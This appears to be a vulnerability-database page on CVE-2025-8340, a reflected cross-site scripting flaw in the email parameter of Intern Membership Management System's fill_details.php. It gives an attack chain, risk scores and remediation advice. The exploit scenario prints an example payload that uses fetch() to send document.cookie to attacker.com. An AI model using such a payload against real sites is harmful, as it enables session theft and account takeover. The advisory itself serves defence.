Intern Membership Management System
CVE-2025-8340
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft malicious URL with XSS payload in email parameter
-
DeliveryShare link via phishing email or social media
-
ExploitVictim clicks link and visits vulnerable fill_details.php
-
InstallError message handler renders unsanitized email input
-
C2Injected JavaScript executes in victim's browser
-
ExecuteSession cookie or sensitive data exfiltrated
-
ImpactAttacker uses stolen session to impersonate victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | User interaction is required-the victim must click a malicious link or visit an attacker-controlled page that references the vulnerable application. The email parameter must not be pre-populated with a legitimate value; the application must render user-supplied input directly in the error message without sanitization. No authentication is required to trigger the vulnerability; the exploit works against unauthenticated error pages. The application must have fill_details.php accessible and functional. Exploitation is limited to the victim's browser session and does not grant server-side code execution; the attacker cannot directly alter the application or database. Modern browsers with XSS protections enabled may block some variants, but reflected XSS is not uniformly mitigated by browser filters. |
| Impact | This vulnerability presents a LOW real-world priority despite being public. Multiple signals converge to suggest limited practical risk: CVSS 2.1 is in the minimal category, EPSS score of 0.07% (20th percentile) indicates very low exploitation likelihood in the wild, and the attack requires user interaction (UI:P) via a social-engineered malicious link. The CVSS vector confirms network accessibility but mandates user participation. While a public exploit exists, the EPSS percentile suggests actual weaponization or mass exploitation attempts are negligible. The integrity-only impact (VI:L with all confidentiality and availability impacts scored as N/A) further limits the attack's severity-stolen session cookies or form data would require downstream credential or data abuse. This is a low-hanging vuln in a niche product with minimal adoption; prioritize only if the application is deployed in high-value environments handling sensitive membership data or if used as a stepping stone in a targeted phishing campaign. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL with an XSS payload in the email parameter (e.g., fill_details.php?email=test@example.com<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>) and shares it via email or social media targeting users of the application. When a logged-in victim clicks the link, the error message handler renders the injected script, which executes in their browser and exfiltrates their session cookie to the attacker's server. The attacker then uses the stolen session to hijack the victim's account and access or modify membership records. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Reflected cross-site scripting (XSS) in Intern Membership Management System 1.0 allows remote attackers to inject malicious scripts via the email parameter in fill_details.php, executable only with user interaction. The vulnerability has a publicly available exploit and affects the error message handler, resulting in integrity impact (CVSS 2.1, EPSS 0.07%). While the attack vector is network-accessible and requires minimal complexity, the low CVSS and EPSS scores reflect the necessity for user interaction and limited technical impact.
RemediationAI
No vendor-released patch identified at time of analysis. Immediate mitigation: update or remove the application if possible. If retention is required, apply input validation and output encoding to the email parameter in fill_details.php-validate email format server-side using a strict whitelist regex, and encode all user-supplied input before rendering in HTML error messages using htmlspecialchars(input, ENT_QUOTES, 'UTF-8') in PHP. Implement a Content Security Policy (CSP) header (e.g., script-src 'self') to limit inline script execution. Disable script execution in error pages by setting X-Content-Type-Options: nosniff and X-XSS-Protection: 1; mode=block headers. Apply web application firewall (WAF) rules to detect and block payloads matching XSS patterns in the email parameter. Trade-off: strict input validation may reject legitimate email edge cases; test with international domain names and special characters. Contact code-projects.org or check their repository at https://code-projects.org/ for security updates.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in fill_details.php, a PHP script component responsible for error message handling in an intern membership management application. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation, or Reflected XSS), where user-supplied input from the email parameter is not properly sanitized or encoded before being output in HTML error messages. The application fails to apply contextual output encoding or input validation, allowing an attacker to craft a malicious URL containing JavaScript payloads in the email parameter. When a victim visits the crafted URL, the unvalidated input is rendered in their browser within the error message handler, causing the injected script to execute in their session context.
Know when Intern Membership Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability was found in code-projects Intern Membership Management System 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file fill_details.php of the component Error Message Handler. The manipulation of the argument email leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
A vulnerability was found in code-projects Intern Membership Management System 2.0 and classified as critical. Rated cri
SQL injection in code-projects Intern Membership Management System 1.0 allows unauthenticated remote attackers to manipu
A vulnerability, which was classified as critical, was found in code-projects Intern Membership Management System 1.0. R
A vulnerability classified as critical was found in code-projects Intern Membership Management System 1.0. Rated medium
A vulnerability, which was classified as critical, has been found in code-projects Intern Membership Management System 1
Intern Membership Management System versions up to 1.0 contains a vulnerability that allows attackers to sql injection (
A vulnerability was found in code-projects Intern Membership Management System 2.0. Rated medium severity (CVSS 5.4), th
SQL injection in the admin panel of code-projects Intern Membership Management System 1.0 allows authenticated attackers
Intern Membership Management System versions up to 1.0 contains a vulnerability that allows attackers to sql injection (
SQL injection in the Intern Membership Management System 1.0 add_activity.php file allows authenticated administrators t
SQL injection in the Intern Membership Management System 1.0 admin panel allows authenticated attackers with high privil
SQL injection in the Intern Membership Management System 1.0 admin panel allows remote attackers with high privileges to
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB